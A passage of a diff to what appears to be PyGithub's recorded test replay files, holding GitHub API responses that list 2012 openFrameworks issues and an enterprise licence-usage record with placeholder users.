GStreamer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-14T13:02:41Z","state":"open","user":{"url":"https://api.github.com/users/manuelgeoffray","gravatar_id":"c1ec5161b69b4a990436deafb1170d64","login":"manuelgeoffray","id":808090,"avatar_url":"https://secure.gravatar.com/avatar/c1ec5161b69b4a990436deafb1170d64?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3647640,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-17T19:26:40Z","body":"Hey !\r\n\r\nMe again. Didn't find anywhere this infos. I'm currently testing the travis-ci.org service.\r\nAs many people are working on the project and as many many issue are raised, and fixed, I thought it could be great to add some test and thus the travis service.\r\n\r\nIt would avoid the problem met here :\r\nhttps://github.com/openframeworks/openFrameworks/commit/7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8\r\nand the discussion here :\r\nhttps://github.com/openframeworks/openFrameworks/issues/804\r\nor there :\r\nhttps://github.com/openframeworks/openFrameworks/pull/921\r\n\r\nI read that :\r\n\r\n>feel free to make a unitTests folder at the root level of OF -\r\n> that is where all unitTests will go.\r\n\r\nBut didn't find them.\r\n\r\nThe travis service will permit to get the little badge we know well : \r\n[![Build Status](https://secure.travis-ci.org/soixantecircuits/openFrameworks.png?branch=master)](http://travis-ci.org/soixantecircuits/openFrameworks)\r\n\r\nAlso, why not adding some spec test, to ensure future development of features.\r\nI'm currently reading :\r\nhttp://www.squidoo.com/cplusplus-behaviour-driven-development-tools#module124841511\r\nhttp://sourceforge.net/apps/mediawiki/turtle/index.php?title=Turtle\r\n\r\nFor those who want some other nice reading :\r\n\r\nhttp://gamesfromwithin.com/exploring-the-c-unit-testing-framework-jungle\r\n\r\nThe travis test is here, currently it is a total fake, but I just proposed the idea of a test driven development\r\nhttp://travis-ci.org/#!/soixantecircuits/openFrameworks/builds/854259 ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068","comments":10,"milestone":null,"number":1068,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1068","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Continuous integration","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-13T15:49:23Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3631618,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-13T15:21:30Z","body":"Hi !\r\n\r\nRecently, I've been in lot of languages, from C++ to ruby, passing by the colosus of javascript and the sea of php. Dropping by various and strange framework such as the Cinder, the jQuery, the Rails, the Processing, etc ...\r\n\r\n## the situation \r\n\r\nWhat I have noticed is that a strong architecture and a really ease use of add-ons makes a framework get stronger. For instance, if we take a look at Ruby, we see that the use of gems give him a powerfull advance over his friend php. \r\n\r\n### the Rubyist\r\n\r\nThis way of thinking is getting even better with the http://gembundler.com/ [Bundler](http://gembundler.com/) friend. The gems have dependencies and a simple GemFile help to easily install all dependencies for one project.\r\n\r\n### the Cinderist\r\n\r\nFor Cinder, we get the block, as for OSX, it quiet easy and fast. Drag and drop and play/code.\r\n\r\n### the jQueryist\r\n\r\nWell, it is not frequent to have jQuery plugins depending on other jQuery plugins, but there are several way to handle dependencies on jQuery and JS.\r\n\r\n### the nodist\r\n\r\nThis lead us to http://npmjs.org/, which is really nice with dependencies.\r\nFor instance, if you tried cloud9ide, you know that you just have to make sure you get the proper package.json :\r\n\r\n```\r\n{\r\n \"name\": \"node-example\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": {\r\n \"express\": \"2.2.0\"\r\n }\r\n}\r\n```\r\n\r\nThis file ensure that everything before running the server will be installed via npm.\r\n\r\n### the ofist\r\n\r\nRight now, we just have the addons.make file, which is nice but does not do any lifting for us. We have to verify that the ofx addons has been downloaded and is installed in the right folder.\r\n\r\n- Why not creating a script that will allow to manage dependencies compilation ? \r\nI have this wonderful ofxJSONsettings, but he depends on [JSONCPP](http://jsoncpp.sourceforge.net/) and on boost, so here we will have :\r\n\r\npackage.json file in the ofxJSONsettings folder :\r\n\r\n```\r\n{\r\n \"name\": \"ofxJSONsettings\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"jsoncpp\": \"0.6.0-rc2\"\r\n \"url\":\"http://jsoncpp.svn.sourceforge.net/svnroot/jsoncpp/trunk/\"\r\n \"protocol\":\"svn\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nHum, then, we have our little bash script :\r\n\r\n`xadd -addon ofxJSONsettings`\r\n\r\nand for a project, we have to ensure that the make file run `xadd -addon ofxJSONsettings` if it does not find ofXJSONsettings.\r\n\r\nThis could lead to simplify and easify the use of plugin ! Hey, I want the new [mistubaRenderer](https://github.com/satoruhiga/ofxMitsubaRenderer) let's give a try :\r\n\r\n```\r\n{\r\n \"name\": \"ofxMitsubaRenderer\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"mitsuba\": \"0.1\"\r\n \"url\":\"https://www.mitsuba-renderer.org/hg/mitsuba-bidir\"\r\n \"protocol\":\"hg\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nWell, this would be simplify if everybody use some same pattern, and respect some convention.\r\n\r\nSo what do you guys think about that ?\r\n\r\n\r\nThank you !\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063","comments":7,"milestone":null,"number":1063,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1063","assignee":null,"title":"Automatic installer + dependencies handler","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-13T10:44:57Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3627067,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T17:58:20Z","body":"right now there is a lot of duplicated code in the vector math classes. for example, normalize() and getNormalized() have separate implementations. if we follow the pattern of always implementing things in self-modifying methods, then providing copy-returning methods as alternatives, this will reduce the amount of code and make it harder to cause bugs or behavioral discrepancies.\r\n\r\n- implementations of an algorithm should always be self-modifying\r\n- copy-returning versions should be implemented using a differently named method, internally making a copy and calling the self-modifying version on the copy.\r\n\r\ne.g. something like (note, this isn't how it's implemented right now):\r\n\r\n\tinline ofVec2f& ofVec2f::normalize() {\r\n\t\tfloat length = (float)sqrt(x*x + y*y);\r\n\t\tif( length > 0 ) {\r\n\t\t\tx /= length;\r\n\t\t\ty /= length;\r\n\t\t}\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tinline ofVec2f ofVec2f::getNormalized() const {\r\n\t\tofVec2f result = *this;\r\n\t\treturn result.normalize();\r\n\t}\r\n\r\ntaken from this post https://github.com/openframeworks/openFrameworks/pull/1061#issuecomment-4455601","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1062,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1062","assignee":null,"title":"regularize code for math addons","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-12T16:33:06Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3614231,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] - diff --git a/tests/ReplayData/PaginatedList.testIteration.txt b/tests/ReplayData/PaginatedList.testIteration.txt index af3164c0ed..4e3674dd01 100644 --- a/tests/ReplayData/PaginatedList.testIteration.txt +++ b/tests/ReplayData/PaginatedList.testIteration.txt @@ -151,4 +151,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4930'), ('content-length', '13008'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"a63cf45ee23c003caf863065072ec4bb"'), ('date', 'Tue, 29 May 2012 19:27:23 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-02-29T11:13:10Z","body":"check out - http://www.openframeworks.cc/forum/viewtopic.php?p=19169#p19169\r\npossible integration into core. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":140,"html_url":"https://github.com/openframeworks/openFrameworks/issues/140","assignee":null,"title":"texture compression and mipmaps for of texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-04-02T19:43:00Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":163959,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T16:15:52Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=10&t=3319","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/128","comments":4,"milestone":null,"number":128,"html_url":"https://github.com/openframeworks/openFrameworks/issues/128","assignee":null,"title":"ofxTCPServer doesn't manage connected clients correcly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-02-14T09:40:13Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":132671,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:31:57Z","body":"Something that easily converts vector direction to openGL degrees?\r\nI find myself constantly trying to guess 270 - atan2(y, x)*RAD_TO_DEG ..... etc\r\nTo rotate something along a vector. \r\n\r\nMight be good to have it be aware of the GL world orientation - or have it so you pass in the up \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":126,"html_url":"https://github.com/openframeworks/openFrameworks/issues/126","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"ofATan2GL / ofVecToGL ?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-02-13T14:22:51Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132377,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-22T15:51:57Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=3299&p=17852#p17852","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","number":6,"title":"0073 Release","closed_issues":0,"due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":124,"html_url":"https://github.com/openframeworks/openFrameworks/issues/124","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"TTF type rendering in OF - fix fuzziness ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-13T14:15:25Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132373,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:14Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=1374","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/121","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":121,"html_url":"https://github.com/openframeworks/openFrameworks/issues/121","assignee":null,"title":"video: loop is not working unless you call play first","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-10T23:16:23Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":130269,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:49Z","body":"it would make sense to have an opengl stress test app, that can test some basic about wether or not someone has ARB support, how fast their systems are, etc. I can imagine that for 0.07, we'll be helping people debug shaders and FBOs, having some way to gauge what kind of system they are on and what it can take, will be helpful. \r\n\r\nHere's a simple test app from the Lua-AV folks that looks like a reasonable system: \r\n\r\nhttp://img191.imageshack.us/img191/1659/picture3po.png","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/115","comments":0,"milestone":null,"number":115,"html_url":"https://github.com/openframeworks/openFrameworks/issues/115","assignee":null,"title":"opengl stress test example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-01-12T02:56:21Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":111018,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-28T14:02:04Z","body":"at the moment, we've got it like:\r\n\r\nofAppGlutWindow::ofAppGlutWindow(){\r\n\tfps\t\t\t\t= 60.0; //give a realistic starting value - win32 issues\r\n\tbFrameRateSet\t\t= false;\r\n}\r\n\r\nbut I personally prefer all apps to start with some kind of similar frame rate (ie, examples running really fast on mac, etc). see for example: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=16520&#p16520\r\n\r\nthis kind of thing leads to less \"cross-platform-ness\" and more confusion from beginners, no? \r\n\r\n- z\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/107","comments":8,"milestone":null,"number":107,"html_url":"https://github.com/openframeworks/openFrameworks/issues/107","assignee":null,"title":"should we start all OF apps with a frame rate set?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2009-12-31T15:10:45Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":104702,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-27T15:47:45Z","body":"videoGrabber and serial listDevices should return a vector of strings apart from printing to console","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/91","comments":4,"milestone":null,"number":91,"html_url":"https://github.com/openframeworks/openFrameworks/issues/91","assignee":null,"title":"listDevices should return a list of strings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2009-12-09T17:11:40Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":94898,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] - diff --git a/tests/ReplayData/PaginatedList.testIterationWithPrefetchedFirstPage.txt b/tests/ReplayData/PaginatedList.testIterationWithPrefetchedFirstPage.txt new file mode 100644 index 0000000000..b36d538dba --- /dev/null +++ b/tests/ReplayData/PaginatedList.testIterationWithPrefetchedFirstPage.txt @@ -0,0 +1,32 @@ +https +GET +api.github.com +None +/enterprises/beaver-group/consumed-licenses?page=2 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 27 Jul 2023 05:18:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"4ef4c3608e49b9c67c3c8a20c4379a15b998aae0cd83cf8d654de0862baff233"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'admin:enterprise, manage_billing:enterprise, read:enterprise'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="next", ; rel="last", ; rel="first"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4827'), ('X-RateLimit-Reset', '1690436729'), ('X-RateLimit-Used', '173'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '3612:2A2F:2E4F58:30A766:64C1FE39')] +{"total_seats_consumed":102,"total_seats_purchased":103,"users":[{"github_com_login":"beaver-user031","github_com_name":"beaver-user031","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user031","github_com_member_roles":[],"github_com_enterprise_roles":[],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user031@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user032","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user032","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user032@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user033","github_com_name":"beaver-user033","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user033","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user034","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user034","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user035","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user035","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user036","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user036","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user036@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user037","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user037","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user038","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user038","github_com_member_roles":["beaver-external:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user039","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user